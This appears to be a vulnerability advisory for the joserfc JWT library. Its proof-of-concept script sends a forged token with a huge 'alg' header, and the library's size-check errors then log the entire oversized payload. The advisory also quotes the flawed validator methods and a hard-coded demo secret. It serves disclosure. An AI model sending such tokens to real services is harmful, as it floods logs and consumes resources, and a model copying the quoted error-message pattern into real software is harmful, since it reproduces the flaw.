joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads

import logging
from datetime import UTC, datetime, timedelta

from joserfc import jwt
from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError
from joserfc.jwk import OctKey


logger = logging.getLogger(__name__)


SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e"
LONG_JWT_TOKEN = (
    "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ"
    "."
    "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ"
    "."
    "6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8"
)

HEADER = {
    "alg": (
        "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
        "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
        "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
        "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
        "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
        "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
    ),
}
CLAIMS = {
    "iss": "auth_server",
    "iat": datetime.now(UTC),
    "exp": datetime.now(UTC) + timedelta(minutes=15),
}


def main():
    # Create OctKey from SECRET_KEY
    key = OctKey.import_key(SECRET_KEY)

    # Simulate creating a very large JWT
    # (this will fail with joserfc.errors.UnsupportedAlgorithmError
    # due to an invalid 'alg' header content
    try:
        token = jwt.encode(HEADER, CLAIMS, key)
    except UnsupportedAlgorithmError:
        # Use a forged token that has the same header and claims instead
        # but an invalid signature
        token = LONG_JWT_TOKEN
    logger.warning(f"Created JWT: {token}")

    # Now try to decode the large JWT
    try:
        decoded_token = jwt.decode(token, key)
        logger.warning("This line will never be reached.")
        logger.warning(decoded_token.claims)
    except ExceededSizeError:
        logger.exception(
            "The JWT size is too large and may be a security attack attempt."
        )
        # this is logging the whole header content in the exception message!

    def validate_header_size(self, header: bytes) -> None:
        if header and len(header) > self.max_header_length:
            raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.")

    def validate_payload_size(self, payload: bytes) -> None:
        if payload and len(payload) > self.max_payload_length:
            raise ExceededSizeError(f"Payload size of '{payload!r}' exceeds {self.max_payload_length} bytes.")

    def validate_signature_size(self, signature: bytes) -> None:
        if len(signature) > self.max_signature_length:
            raise ExceededSizeError(f"Signature of '{signature!r}' exceeds {self.max_signature_length} bytes.")

    def validate_protected_header_size(self, header: bytes) -> None:
        if header and len(header) > self.max_protected_header_length:
            raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_protected_header_length} bytes.")

    def validate_encrypted_key_size(self, ek: bytes) -> None:
        if ek and len(ek) > self.max_encrypted_key_length:
            raise ExceededSizeError(f"Encrypted key size of '{ek!r}' exceeds {self.max_encrypted_key_length} bytes.")

    def validate_initialization_vector_size(self, iv: bytes) -> None:
        if iv and len(iv) > self.max_initialization_vector_length:
            raise ExceededSizeError(
                f"Initialization vector size of '{iv!r}' exceeds {self.max_initialization_vector_length} bytes."
            )

    def validate_ciphertext_size(self, ciphertext: bytes) -> None:
        if ciphertext and len(ciphertext) > self.max_ciphertext_length:
            raise ExceededSizeError(f"Ciphertext size of '{ciphertext!r}' exceeds {self.max_ciphertext_length} bytes.")

    def validate_auth_tag_size(self, tag: bytes) -> None:
        if tag and len(tag) > self.max_auth_tag_length:
            raise ExceededSizeError(f"Auth tag size of '{tag!r}' exceeds {self.max_auth_tag_length} bytes.")